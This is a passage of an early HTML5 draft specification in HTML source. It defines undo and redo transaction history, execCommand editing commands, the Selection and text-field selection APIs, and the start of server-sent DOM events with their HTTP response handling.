for scripts to say   "startBatchingDOMChangesForUndo()" and after that the changes to the DOM   go in as if the user had done them.  <h4 id=undo-moving><span class=secno>6.4.2. </span><dfn id=undo-moving1   title=do-undo>Undo: moving back in the undo transaction history</dfn></h4>  <p>When the user invokes an undo operation, or when the <code   title=dom-document-execCommand><a   href="#execcommand">execCommand()</a></code> method is called with the   <code title=command-undo><a href="#undo1">undo</a></code> command, the   user agent must perform an undo operation.  <p>If the <a href="#current2">undo position</a> is at the start of the <a   href="#undo-transaction">undo transaction history</a>, then the user agent   must do nothing.  <p>If the entry immediately before the <a href="#current2">undo   position</a> is a <a href="#dom-changes">DOM changes</a> entry, then the   user agent must remove that <a href="#dom-changes">DOM changes</a> entry,   reverse the DOM changes that were listed in that entry, and, if the   changes were reversed with no problems, add a new <a   href="#dom-changes">DOM changes</a> entry (consisting of the opposite of   those DOM changes) to the <a href="#undo-transaction">undo transaction   history</a> on the other side of the <a href="#current2">undo   position</a>.  <p>If the DOM changes cannot be undone (e.g. because the DOM state is no   longer consistent with the changes represented in the entry), then the   user agent must simply remove the <a href="#dom-changes">DOM changes</a>   entry, without doing anything else.  <p>If the entry immediately before the <a href="#current2">undo   position</a> is an <a href="#undo-object">undo object</a> entry, then the   user agent must first remove that <a href="#undo-object">undo object</a>   entry from the <a href="#undo-transaction">undo transaction history</a>,   and then must fire an <code title=event-undo><a   href="#undo0">undo</a></code> event on the <code>Document</code> object,   using the <a href="#undo-object">undo object</a> entry's associated undo   object as the event's data.  <p>Any calls to <code title=dom-undoManager-add><a   href="#adddata">add()</a></code> while the event is being handled will be   used to populate the redo history, and will then be used if the user   invokes the "redo" command to undo his undo.  <h4 id=redo-moving><span class=secno>6.4.3. </span><dfn id=redo-moving1   title=do-redo>Redo: moving forward in the undo transaction history</dfn></h4>  <p>When the user invokes a redo operation, or when the <code   title=dom-document-execCommand><a   href="#execcommand">execCommand()</a></code> method is called with the   <code title=command-redo><a href="#redo0">redo</a></code> command, the   user agent must perform a redo operation.  <p>This is mostly the opposite of an <a href="#undo-moving1"   title=do-undo>undo operation</a>, but the full definition is included here   for completeness.  <p>If the <a href="#current2">undo position</a> is at the end of the <a   href="#undo-transaction">undo transaction history</a>, then the user agent   must do nothing.  <p>If the entry immediately after the <a href="#current2">undo position</a>   is a <a href="#dom-changes">DOM changes</a> entry, then the user agent   must remove that <a href="#dom-changes">DOM changes</a> entry, reverse the   DOM changes that were listed in that entry, and, if the changes were   reversed with no problems, add a new <a href="#dom-changes">DOM   changes</a> entry (consisting of the opposite of those DOM changes) to the   <a href="#undo-transaction">undo transaction history</a> on the other side   of the <a href="#current2">undo position</a>.  <p>If the DOM changes cannot be redone (e.g. because the DOM state is no   longer consistent with the changes represented in the entry), then the   user agent must simply remove the <a href="#dom-changes">DOM changes</a>   entry, without doing anything else.  <p>If the entry immediately after the <a href="#current2">undo position</a>   is an <a href="#undo-object">undo object</a> entry, then the user agent   must first remove that <a href="#undo-object">undo object</a> entry from   the <a href="#undo-transaction">undo transaction history</a>, and then   must fire a <code title=event-undo><a href="#undo0">redo</a></code> event   on the <code>Document</code> object, using the <a href="#undo-object">undo   object</a> entry's associated undo object as the event's data.  <h4 id=the-undomanagerevent><span class=secno>6.4.4. </span>The <code><a   href="#undomanagerevent">UndoManagerEvent</a></code> interface and the   <code title=event-undo><a href="#undo0">undo</a></code> and <code   title=event-redo><a href="#redo">redo</a></code> events</h4>  <pre   class=idl>interface <dfn id=undomanagerevent>UndoManagerEvent</dfn> : Event {  readonly attribute DOMObject <a href="#data3" title=dom-UndoManagerEvent-data>data</a>;  void <a href="#initundomanagerevent" title=dom-UndoManagerEvent-initUndoManagerEvent>initUndoManagerEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject dataArg);  void <span title=dom-UndoManagerEvent-initUndoManagerEventNS>initUndoManagerEventNS</span>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject dataArg);};</pre>  <p>The <dfn id=initundomanagerevent   title=dom-UndoManagerEvent-initUndoManagerEvent><code>initUndoManagerEvent()</code></dfn>   and <dfn id=initundomanagereventns><code   title=dom-UndoManagerEvent-initUndoManagerEventNS>initUndoManagerEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <p>The <dfn id=data3   title=dom-UndoManagerEvent-data><code>data</code></dfn> attribute   represents the <a href="#undo-object">undo object</a> for the event.  <p>The <dfn id=undo0 title=event-undo><code>undo</code></dfn> and <dfn   id=redo title=event-redo><code>redo</code></dfn> events do not bubble,   cannot be canceled, and have no default action. When the user agent fires   one of these events it must use the <code><a   href="#undomanagerevent">UndoManagerEvent</a></code> interface, with the   <code title=dom-UndoManagerEvent-data><a href="#data3">data</a></code>   field containing the relevant <a href="#undo-object">undo object</a>.  <h4 id=implementation0><span class=secno>6.4.5. </span>Implementation notes</h4>  <p>How user agents present the above conceptual model to the user is not   defined. The undo interface could be a filtered view of the <a   href="#undo-transaction">undo transaction history</a>, it could manipulate   the <a href="#undo-transaction">undo transaction history</a> in ways not   described above, and so forth. For example, it is possible to design a UA   that appears to have separate <a href="#undo-transaction" title="undo   transaction history">undo transaction histories</a> for each form control;   similarly, it is possible to design systems where the user has access to   more undo information than is present in the offical (as described above)   <a href="#undo-transaction">undo transaction history</a> (such as   providing a tree-based approach to document state). Such UI models should   be based upon the single <a href="#undo-transaction">undo transaction   history</a> described in this section, however, such that to a script   there is no detectable difference.  <h3 id=execCommand><span class=secno>6.5. </span>Command APIs</h3>  <p>The <dfn id=execcommand   title=dom-document-execCommand><code>execCommand(<var   title="">commandID</var>, <var title="">doShowUI</var>, <var   title="">value</var>)</code></dfn> method on the <code><a   href="#htmldocument">HTMLDocument</a></code> interface allows scripts to   perform actions on the <a href="#a-selection" title="the   selection">current selection</a> or at the current caret position.   Generally, these commands would be used to implement editor UI, for   example having a "delete" button on a toolbar.  <p>There are three variants to this method, with one, two, and three   arguments respectively. The <var title="">doShowUI</var> and <var   title="">value</var> parameters, even if specified, are ignored unless   otherwise stated.  <p class=note>In this specification, in fact, the <var   title="">doShowUI</var> parameter is always ignored, regardless of its   value. It is included for historical reasons only.  <p>When any of these methods are invoked, user agents must act as described   in the list below.  <p>For actions marked "<dfn id=editing3>editing hosts only</dfn>", if the   selection is not entirely within an <a href="#editing2">editing host</a>,   of if there is no selection and the caret is not inside an <a   href="#editing2">editing host</a>, then the user agent must do nothing.  <dl>   <dt>If the <var title="">commandID</var> is <dfn id=undo1    title=command-undo><code>undo</code></dfn>   <dd>The user agent must <a href="#undo-moving1" title=do-undo>move back    one step</a> in its <a href="#undo-transaction">undo transaction    history</a>, restoring the associated state. If there is no further undo    information the user agent must do nothing. See the <a    href="#undo-history0">undo history</a>.   <dt>If the <var title="">commandID</var> is <dfn id=redo0    title=command-redo><code>redo</code></dfn>   <dd>The user agent must <a href="#redo-moving1" title=do-redo>move forward    one step</a> in its <a href="#undo-transaction">undo transaction    history</a>, restoring the associated state. If there is no further undo    (well, "redo") information the user agent must do nothing. See the <a    href="#undo-history0">undo history</a>.   <dt>If the <var title="">commandID</var> is <dfn id=selectall0    title=command-selectAll><code>selectAll</code></dfn>   <dd>The user agent must change the selection so that all the content in    the currently focused <a href="#editing2">editing host</a> is selected.    If no <a href="#editing2">editing host</a> is focused, then the content    of the entire document must be selected.   <dt>If the <var title="">commandID</var> is <dfn id=unselect    title=command-unselect><code>unselect</code></dfn>   <dd>    <p>The user agent must change the selection so that nothing is selected.</p>    <p class=big-issue>We need some sort of way in which the user can make a     selection without risk of script clobbering it.   <dt>If the <var title="">commandID</var> is <dfn id=superscript    title=command-superscript><code>superscript</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had requested that the selection <a    href="#contenteditable-wrapSemantic">be wrapped in the semantics</a> of    the <code><a href="#sup0">sup</a></code> element (or unwrapped, or, if    there is no selection, have that semantic inserted or removed AMPERSANDmdash; the    exact behaviour is UA-defined).   <dt>If the <var title="">commandID</var> is <dfn id=subscript    title=command-subscript><code>subscript</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had requested that the selection <a    href="#contenteditable-wrapSemantic">be wrapped in the semantics</a> of    the <em title=""><code><a href="#sub0">sub</a></code></em> element (or,    again, unwrapped, or have that semantic inserted or removed, as defined    by the UA).   <dt>If the <var title="">commandID</var> is <dfn id=formatblock    title=command-formatBlock><code>formatBlock</code></dfn>   <dd>    <p><em><a href="#editing3">Editing hosts only.</a></em> This command     changes the semantics of the blocks containing the selection.</p>    <p>If there is no selection, then, where in the description below refers     to the selection, the user agent must act as if the selection was an     empty range at the caret position.</p>    <p>If the <var title="">value</var> parameter is not specified or has a     value other than one of the following literal strings:</p>    <ul class=brief>     <li><code title="">AMPERSANDlt;addressAMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;asideAMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h1AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h2AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h3AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h4AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h5AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;h6AMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;navAMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;pAMPERSANDgt;</code>     <li><code title="">AMPERSANDlt;preAMPERSANDgt;</code>    </ul>    <p>...then the user agent must do nothing.</p>    <p>Otherwise, the user agent must, for every position in the selection,     take the furthest <a href="#block-level1" title="block-level     elements">block-level element</a> ancestor of that position that     contains only <a href="#inline-level1">inline-level content</a> and is     not being used as a <a href="#structured" title="structured inline-level     elements">structured inline-level element</a>, and, if that element is a     descendant of the editing host, rename it according to the <var     title="">value</var>, by stripping the leading <code>AMPERSANDlt;</code>     character and the trailing <code>AMPERSANDgt;</code> character and using the     rest as the new tag name.   <dt>If the <var title="">commandID</var> is <dfn id=delete    title=command-delete><code>delete</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had performed <a href="#contenteditable-delete">a    backspace operation</a>.   <dt>If the <var title="">commandID</var> is <dfn id=forwarddelete    title=command-forwardDelete><code>forwardDelete</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had performed <a href="#contenteditable-delete">a    forward delete operation</a>.   <dt>If the <var title="">commandID</var> is <dfn id=insertlinebreak    title=command-insertLineBreak><code>insertLineBreak</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had <a href="#contenteditable-br">requested a    line separator</a>.   <dt>If the <var title="">commandID</var> is <dfn id=insertparagraph    title=command-insertParagraph><code>insertParagraph</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had performed a <a    href="#contenteditable-breakBlock">break block</a> editing action.   <dt>If the <var title="">commandID</var> is <dfn id=inserttext    title=command-insertText><code>insertText</code></dfn>   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent    must act as if the user had <a    href="#contenteditable-insertText">inserted text</a> corresponding to the    <var title="">value</var> parameter.   <dt>If the <var title="">commandID</var> is <code><var    title="">vendorID</var>-<var title="">customCommandID</var></code>   <dd>User agents may implement vendor-specific extensions to this API.    Vendor-specific extensions to the list of commands should use the syntax    <code><var title="">vendorID</var>-<var    title="">customCommandID</var></code> so as to prevent clashes between    extensions from different vendors and future additions to this    specification.   <dt>If the <var title="">commandID</var> is something else   <dd>User agents must do nothing.  </dl>  <h3 id=selection><span class=secno>6.6. </span>The text selection APIs</h3>  <p>Every <a href="#browsing">browsing context</a> has <dfn id=a-selection   title="the selection">a selection</dfn>. The selection may be empty, and   the selection may have more than one range (a disjointed selection). The   user should be able to change the selection. User agents are not required   to let the user select more than one range, and may collapse multiple   ranges in the selection to a single range when the user interacts with the   selection. (But, of course, the user agent may let the user create   selections with multiple ranges.)  <p>This one selection must be shared by all the content of the browsing   context (though not by nested <a href="#browsing" title="browsing   context">browsing contexts</a>), including any editing hosts in the   document. (Editing hosts that are not inside a document cannot have a   selection.)  <p>If the selection is empty (collapsed, so that it has only one segment   and that segment's start and end points are the same) then the selection's   position should equal the caret position. When the selection is not empty,   this specification does not define the caret position; user agents should   follow platform conventions in deciding whether the caret is at the start   of the selection, the end of the selection, or somewhere else.  <p>On some platforms (such as those using Wordstar editing conventions),   the caret position is totally independent of the start and end of the   selection, even when the selection is empty. On such platforms, user   agents may ignore the requirement that the cursor position be linked to   the position of the selection altogether.  <p>Mostly for historical reasons, in addition to the <a   href="#browsing">browsing context</a>'s <a href="#a-selection" title="the   selection">selection</a>, each <code>textarea</code> and   <code>input</code> element has an independent selection. These are the   <dfn id=text-field title="text field selection">text field   selections</dfn>.  <p>The <code><a href="#datagrid1">datagrid</a></code> and   <code>select</code> elements also have selections, indicating which items   have been picked by the user. These are not discussed in this section.  <p class=note>This specification does not specify how selections are   presented to the user. The Selectors specification, in conjunction with   CSS, can be used to style text selections using the <code><a   href="#selection1">::selection</a></code> pseudo-element. <a   href="#refsSELECTORS">[SELECTORS]</a> <a href="#refsCSS21">[CSS21]</a>  <h4 id=documentSelection><span class=secno>6.6.1. </span>APIs for the   browsing context selection</h4>  <p>The <dfn id=getselection   title=dom-getSelection><code>getSelection()</code></dfn> method on the   <code><a href="#windowhtml">WindowHTML</a></code> interface must return   the <code><a href="#selection1">Selection</a></code> object representing   <a href="#a-selection">the selection</a> of that <code><a   href="#windowhtml">WindowHTML</a></code> object's <a   href="#browsing">browsing context</a>.  <p>For historical reasons, the <dfn id=getselection0   title=dom-document-getSelection><code>getSelection()</code></dfn> method   on the <code><a href="#htmldocument">HTMLDocument</a></code> interface   must return the same <code><a href="#selection1">Selection</a></code>   object.  <pre class=idl>interface <dfn id=selection1>Selection</dfn> {  readonly attribute Node <a href="#anchornode" title=dom-selection-anchorNode>anchorNode</a>;  readonly attribute long <a href="#anchoroffset" title=dom-selection-anchorOffset>anchorOffset</a>;  readonly attribute Node <a href="#focusnode" title=dom-selection-focusNode>focusNode</a>;  readonly attribute long <a href="#focusoffset" title=dom-selection-focusOffset>focusOffset</a>;  readonly attribute boolean <a href="#iscollapsed" title=dom-selection-isCollapsed>isCollapsed</a>;  void <a href="#collapse" title=dom-selection-collapse>collapse</a>(in Node parentNode, in long offset);  void <a href="#collapsetostart" title=dom-selection-collapseToStart>collapseToStart</a>();  void <a href="#collapsetoend" title=dom-selection-collapseToEnd>collapseToEnd</a>();  void <a href="#selectallchildren" title=dom-selection-selectAllChildren>selectAllChildren</a>(in Node parentNode);  void <a href="#deletefromdocument" title=dom-selection-deleteFromDocument>deleteFromDocument</a>();  readonly attribute long <a href="#rangecount" title=dom-selection-rangeCount>rangeCount</a>;  Range <a href="#getrangeat" title=dom-selection-getRangeAt>getRangeAt</a>(in long index);  void <a href="#addrange" title=dom-selection-addRange>addRange</a>(in Range range);  void <a href="#removerange" title=dom-selection-removeRange>removeRange</a>(in Range range);  void <a href="#removeallranges" title=dom-selection-removeAllRanges>removeAllRanges</a>();  DOMString <a href="#tostring" title=dom-selection-toString>toString</a>();};</pre>  <!--  See also:    http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl  This spec doesn't have everything from there yet, in particular  selectionLanguageChange() and containsNode() are missing. They are missing  because I couldn't work out how to define them in terms of Ranges.  I also haven't included extend():    void <span title="dom-selection-extend">extend</span>(in Node parentNode, in long offset);    // raise if no range    // raise WRONG_DOCUMENT_ERR if parentNode not in document    // do something  ...mostly because I can't work out how to describe what it does quickly.-->  <p>The <code><a href="#selection1">Selection</a></code> interface is   represents a list of <code>Range</code> objects. The first item in the   list has index 0, and the last item has index <var title="">count</var>-1,   where <var title="">count</var> is the number of ranges in the list. <a   href="#refsDOM2RANGE">[DOM2RANGE]</a>  <p>All of the members of the <code><a   href="#selection1">Selection</a></code> interface are defined in terms of   operations on the <code>Range</code> objects represented by this object.   These operations can raise exceptions, as defined for the   <code>Range</code> interface; this can therefore result in the members of   the <code><a href="#selection1">Selection</a></code> interface raising   exceptions as well, in addition to any explicitly called out below.</p>  <!--- XXX example -->  <p>The <dfn id=anchornode   title=dom-selection-anchorNode><code>anchorNode</code></dfn> attribute   must return the value returned by the <code title="">startContainer</code>   attribute of the last <code>Range</code> object in the list, or null if   the list is empty.  <p>The <dfn id=anchoroffset   title=dom-selection-anchorOffset><code>anchorOffset</code></dfn> attribute   must return the value returned by the <code title="">startOffset</code>   attribute of the last <code>Range</code> object in the list, or 0 if the   list is empty.  <p>The <dfn id=focusnode   title=dom-selection-focusNode><code>focusNode</code></dfn> attribute must   return the value returned by the <code title="">endContainer</code>   attribute of the last <code>Range</code> object in the list, or null if   the list is empty.  <p>The <dfn id=focusoffset   title=dom-selection-focusOffset><code>focusOffset</code></dfn> attribute   must return the value returned by the <code title="">endOffset</code>   attribute of the last <code>Range</code> object in the list, or 0 if the   list is empty.  <p>The <dfn id=iscollapsed   title=dom-selection-isCollapsed><code>isCollapsed</code></dfn> attribute   must return true if there are zero ranges, or if there is exactly one   range and its <code title="">collapsed</code> attribute is itself true.   Otherwise it must return false.  <p>The <dfn id=collapse title=dom-selection-collapse><code>collapse(<var   title="">parentNode</var>, <var title="">offset</var>)</code></dfn> method   must raise a <code>WRONG_DOCUMENT_ERR</code> DOM exception if <var   title="">parentNode</var>'s <code title="">ownerDocument</code> is not the   <code><a href="#htmldocument">HTMLDocument</a></code> object with which   the <code><a href="#selection1">Selection</a></code> object is associated.   Otherwise it is, and the method must remove all the ranges in the <code><a   href="#selection1">Selection</a></code> list, then create a new   <code>Range</code> object, add it to the list, and invoke its <code   title="">setStart()</code> and <code title="">setEnd()</code> methods with   the <var title="">parentNode</var> and <var title="">offset</var> values   as their arguments.  <p>The <dfn id=collapsetostart   title=dom-selection-collapseToStart><code>collapseToStart()</code></dfn>   method must raise an <code>INVALID_STATE_ERR</code> DOM exception if there   are no ranges in the list. Otherwise, it must invoke the <code   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>   method with the <code title="">startContainer</code> and <code   title="">startOffset</code> values of the first <code>Range</code> object   in the list as the arguments.  <p>The <dfn id=collapsetoend   title=dom-selection-collapseToEnd><code>collapseToEnd()</code></dfn>   method must raise an <code>INVALID_STATE_ERR</code> DOM exception if there   are no ranges in the list. Otherwise, it must invoke the <code   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>   method with the <code title="">endContainer</code> and <code   title="">endOffset</code> values of the last <code>Range</code> object in   the list as the arguments.  <p>The <dfn id=selectallchildren   title=dom-selection-selectAllChildren><code>selectAllChildren(<var   title="">parentNode</var>)</code></dfn> method must invoke the <code   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>   method with the <var title="">parentNode</var> value as the first argument   and 0 as the second argument, and must then invoke the <code   title="">selectNodeContents()</code> method on the first (and only) range   in the list with the <var title="">parentNode</var> value as the argument.  <p>The <dfn id=deletefromdocument   title=dom-selection-deleteFromDocument><code>deleteFromDocument()</code></dfn>   method must invoke the <code title="">deleteContents()</code> method on   each range in the list, if any, from first to last.  <p>The <dfn id=rangecount   title=dom-selection-rangeCount><code>rangeCount</code></dfn> attribute   must return the number of ranges in the list.  <p>The <dfn id=getrangeat   title=dom-selection-getRangeAt><code>getRangeAt(<var   title="">index</var>)</code></dfn> method must return the <var   title="">index</var>th range in the list. If <var title="">index</var> is   less than zero or greater or equal to the value returned by the <code   title=dom-selection-rangeCount><a href="#rangecount">rangeCount</a></code>   attribute, then the method must raise an <code>INDEX_SIZE_ERR</code> DOM   exception.  <p>The <dfn id=addrange title=dom-selection-addRange><code>addRange(<var   title="">range</var>)</code></dfn> method must add the given <var   title="">range</var> Range object to the list of selections, at the end   (so the newly added range is the new last range). Duplicates are not   prevented; a range may be added more than once in which case it appears in   the list more than once, which (for example) will cause <code   title=dom-selection-toString><a href="#tostring">toString()</a></code> to   return the range's text twice.</p>  <!-- XXX how does this interact with  deleteFromDocument() which acts on all ranges? -->  <p>The <dfn id=removerange   title=dom-selection-removeRange><code>removeRange(<var   title="">range</var>)</code></dfn> method must remove the first occurrence   of <var title="">range</var> in the list of ranges, if it appears at all.  <p>The <dfn id=removeallranges   title=dom-selection-removeAllRanges><code>removeAllRanges()</code></dfn>   method must remove all the ranges from the list of ranges, such that the   <code title=dom-selection-rangeCount><a   href="#rangecount">rangeCount</a></code> attribute returns 0 after the   <code title=dom-selection-removeAllRanges><a   href="#removeallranges">removeAllRanges()</a></code> method is invoked   (and until a new range is added to the list, either through this interface   or via user interaction).  <p>The <dfn id=tostring   title=dom-selection-toString><code>toString()</code></dfn> method must   return a concatenation of the results of invoking the <code   title="">toString()</code> method of the <code>Range</code> object on each   of the ranges of the selection, in the order they appear in the list   (first to last).  <p>In language bindings where this is supported, objects implementing the   <code><a href="#selection1">Selection</a></code> interface must stringify   to the value returned by the object's <code   title=dom-selection-toString><a href="#tostring">toString()</a></code>   method.  <div class=example>   <p>In the following document fragment, the emphasised parts indicate the    selection.</p>   <pre>AMPERSANDlt;p>The cute girl likes <em>the </em>AMPERSANDlt;cite><em>Oxford English</em> DictionaryAMPERSANDlt;/cite>.AMPERSANDlt/p></pre>   <p>If a script invoked <code    title="">window.getSelection().toString()</code>, the return value would    be "<code>the Oxford English</code>".</p>  </div>  <p class=note>The <code><a href="#selection1">Selection</a></code>   interface has no relation to the <code><a   href="#datagridselection">DataGridSelection</a></code> interface.  <h4 id=textFieldSelection><span class=secno>6.6.2. </span>APIs for the text   field selections</h4>  <p class=big-issue>When we define HTMLTextAreaElement and HTMLInputElement   we will have to add the IDL given below to both of their IDLs.  <p>The <code>input</code> and <code>textarea</code> elements define four   members in their DOM interfaces for handling their text selection:  <pre   class=idl>  void <a href="#select0" title="dom-textarea/input-select">select</a>();           attribute unsigned long <a href="#selectionstart" title="dom-textarea/input-selectionStart">selectionStart</a>;           attribute unsigned long <a href="#selectionend" title="dom-textarea/input-selectionEnd">selectionEnd</a>;  void <a href="#setselectionrange" title="dom-textarea/input-setSelectionRange">setSelectionRange</a>(in unsigned long start, in unsigned long end);</pre>  <p>These methods and attributes expose and control the selection of   <code>input</code> and <code>textarea</code> text fields.  <p>The <dfn id=select0   title="dom-textarea/input-select"><code>select()</code></dfn> method must   cause the contents of the text field to be fully selected.  <p>The <dfn id=selectionstart   title="dom-textarea/input-selectionStart"><code>selectionStart</code></dfn>   attribute must, on getting, return the offset (in logical order) to the   character that immediately follows the start of the selection. If there is   no selection, then it must return the offset (in logical order) to the   character that immediately follows the text entry cursor.  <p>On setting, it must act as if the <code   title="dom-textarea/input-setSelectionRange"><a   href="#setselectionrange">setSelectionRange()</a></code> method had been   called, with the new value as the first argument, and the current value of   the <code title="dom-textarea/input-selectionEnd"><a   href="#selectionend">selectionEnd</a></code> attribute as the second   argument, unless the current value of the <code   title="dom-textarea/input-selectionEnd"><a   href="#selectionend">selectionEnd</a></code> is less than the new value,   in which case the second argument must also be the new value.  <p>The <dfn id=selectionend   title="dom-textarea/input-selectionEnd"><code>selectionEnd</code></dfn>   attribute must, on getting, return the offset (in logical order) to the   character that immediately follows the end of the selection. If there is   no selection, then it must return the offset (in logical order) to the   character that immediately follows the text entry cursor.  <p>On setting, it must act as if the <code   title="dom-textarea/input-setSelectionRange"><a   href="#setselectionrange">setSelectionRange()</a></code> method had been   called, with the current value of the <code   title="dom-textarea/input-selectionStart"><a   href="#selectionstart">selectionStart</a></code> attribute as the first   argument, and new value as the second argument.  <p>The <dfn id=setselectionrange   title="dom-textarea/input-setSelectionRange"><code>setSelectionRange(<var   title="">start</var>, <var title="">end</var>)</code></dfn> method must   set the selection of the text field to the sequence of characters starting   with the character at the <var title="">start</var>th position (in logical   order) and ending with the character at the <span>(<var   title="">end</var>-1)</span>th position. Arguments greater than the length   of the value in the text field must be treated as pointing at the end of   the text field. If <var title="">end</var> is less than or equal to <var   title="">start</var> then the start of the selection and the end of the   selection must both be placed immediately before the character with offset   <var title="">end</var>. In UAs where there is no concept of an empty   selection, this must set the cursor to be just before the character with   offset <var title="">end</var>.  <div class=example>   <p>To obtain the currently selected text, the following JavaScript    suffices:</p>   <pre>var selectionText = control.value.substring(control.selectionStart, control.selectionEnd);</pre>   <p>...where <var title="">control</var> is the <code>input</code> or    <code>textarea</code> element.</p>  </div>  <p>Characters with no visible rendering, such as U+200D ZERO WIDTH JOINER,   still count as characters. Thus, for instance, the selection can include   just an invisible character, and the text insertion cursor can be placed   to one side or another of such a character.  <p>When these methods and attributes are used with <code>input</code>   elements that are not displaying simple text fields, they must raise an   <code>INVALID_STATE_ERR</code> exception.  <h2 id=comms><span class=secno>7. </span>Communication</h2>  <h3 id=server-sent-events><span class=secno>7.1. </span>Server-sent DOM   events</h3>  <p>This section describes a mechanism for allowing servers to dispatch DOM   events into documents that expect it.  <h4 id=the-event-source><span class=secno>7.1.1. </span>The <dfn   id=event-source0><code>event-source</code></dfn> element</h4>  <p>To specify an event source in an HTML document authors use a new (empty)   element <code><a href="#event-source0">event-source</a></code>, with an   attribute <code>src=""</code> that takes a URI (or IRI) to open as a   stream and, if the data found at that URI is of the appropriate type,   treat as an event source.  <p>The <code><a href="#event-source0">event-source</a></code> element may   also have an <code>onevent=""</code> attribute. If present, the attribute   must be treated as script representing an event handler registered as   non-capture listener of events with name <code>event</code> and the   namespace <code>uuid:755e2d2d-a836-4539-83f4-16b51156341f</code> or null,   that are targetted at or bubble through the element.  <p>UAs must also support all the common attributes on the <code><a   href="#event-source0">event-source</a></code> element.  <h4 id=the-remoteeventtarget><span class=secno>7.1.2. </span>The <dfn   id=remoteeventtarget0><code>RemoteEventTarget</code></dfn> interface</h4>  <p>Any object that implements the <code>EventTarget</code> interface shall   also implement the <code><a   href="#remoteeventtarget1">RemoteEventTarget</a></code> interface.  <pre   class=idl>interface <dfn id=remoteeventtarget1>RemoteEventTarget</dfn> {  void addEventSource(in DOMString src);  void removeEventSource(in DOMString src);};</pre>  <p>The <dfn id=addeventsource   title=addEventSource><code>addEventSource(<var   title="">src</var>)</code></dfn> method shall register the URI (or IRI)   specified in <var title="">src</var> as an event source on the object. The   <dfn id=removeeventsource   title=removeEventSource><code>removeEventSource(<var   title="">src</var>)</code></dfn> method shall remove the URI (or IRI)   specified in <var title="">src</var> from the list of event sources for   that object. If a single URI is added multiple times, each instance must   be handled individually. Removing a URI must only remove one instance of   that URI. If the specified URI cannot be added or removed, the method must   return without doing anything or raising an exception.  <h4 id=processing1><span class=secno>7.1.3. </span>Processing model</h4>  <p>When an <code><a href="#event-source0">event-source</a></code> element   in a document has a <code>src</code> attribute set, the UA should fetch   the resource indicated by the attribute's value.  <p>Similarly, when the <code><a   href="#addeventsource">addEventSource()</a></code> method is invoked on an   object, the UA should, at the completion of the script's current   execution, fetch the resource identified by the method's argument (unless   the <code><a href="#removeeventsource">removeEventSource()</a></code> was   called removing the URI from the list first).  <p>When an <code><a href="#event-source0">event-source</a></code> element   is removed from the document, or when an event source is removed from the   list of event sources for an object using the <code><a   href="#removeeventsource">removeEventSource()</a></code> method, the   relevant connection must be closed (and not reopened unless the element is   returned to the document or the <code><a   href="#addeventsource">addEventSource()</a></code> method is called with   the same URI again).  <p class=issue>Should event-source elements be allowed to point to any   remote server, or only origin hosts?  <p>Since connections established to remote servers for such resources are   expected to be long-lived, UAs should ensure that appropriate buffering is   used. In particular, while line buffering may be safe if lines are defined   to end with a single U+000A LINE FEED character, block buffering or line   buffering with different expected line endings can cause delays in event   dispatch.  <p>In general, the semantics of the transport protocol specified by the   "src" attribute must be followed. Clients should re-open <code><a   href="#event-source0">event-source</a></code> connections that get closed   after a short interval (such as 5 seconds), unless they were closed due to   problems that aren't expected to be resolved, as described in this   section.  <p>DNS errors must be considered fatal, and cause the user agent to not   open any connection for the event-source.  <p>HTTP 200 OK responses that have a Content-Type other than   <code>application/x-dom-event-stream</code> must be ignored and must   prevent the user agent from reopening the connection for that   event-source. HTTP 200 OK responses with the right MIME type, however,   should, when closed, be reopened after a small delay.  <p>Resource with the type <code>application/x-dom-event-stream</code> must   be processed line by line <a href="#event-stream-interpretation">as   described below</a>.  <p>HTTP 201 Created, 202 Accepted, 203 Non-Authoritative Information, and   206 Partial Content responses must be treated like HTTP 200 OK responses   for the purposes of reopening event-source connections. They are, however,   likely to indicate an error has occurred somewhere and may cause the user   agent to emit a warning.  <p>HTTP 204 No Content, and 205 Reset Content responses must be treated as   if they were 200 OK responses with the right MIME type but no content, and   should therefore cause the user agent to reopen the connection after a   short delay.  <p>HTTP 300 Multiple Choices responses should be handled automatically if   possible (treating the responses as if they were 302 Moved Permanently   responses pointing to the appropriate resource), and otherwise must be   treated as HTTP 404 responses.  <p>HTTP 301 Moved Permanently responses must cause the user agent to use   the server specified URI instead of the one specified in the   event-source's "src" attribute for future connections.  <p>HTTP 302 Found, 303 See Other, and 307 Temporary Redirect responses must   cause the user agent to use the server specified URI instead of the one   specified in the event-source's "src" attribute for the next connection,   but if the user agent needs to reopen the connection at a later point, it   must once again start from the "src" attribute (or the last URI given by a   301 Moved Permanently response in complicated cases where such responses   are chained).  <p>HTTP 304 Not Modified responses should be handled like HTTP 200 OK   responses, with the content coming from the user agent cache. A new   connection attempt should then be made after a short wait.  <p>HTTP 305 Use Proxy, HTTP 401 Unauthorized, and 407 Proxy Authentication   Required should be treated transparently as for any other subresource.  <p>HTTP 400 Bad Request, 403 Forbidden, 404 Not Found, 405 Method Not   Allowed, 406 Not Acceptable, 408 Request Timeout, 409 Conflict, 410 Gone,   411 Length Required, 412 Precondition 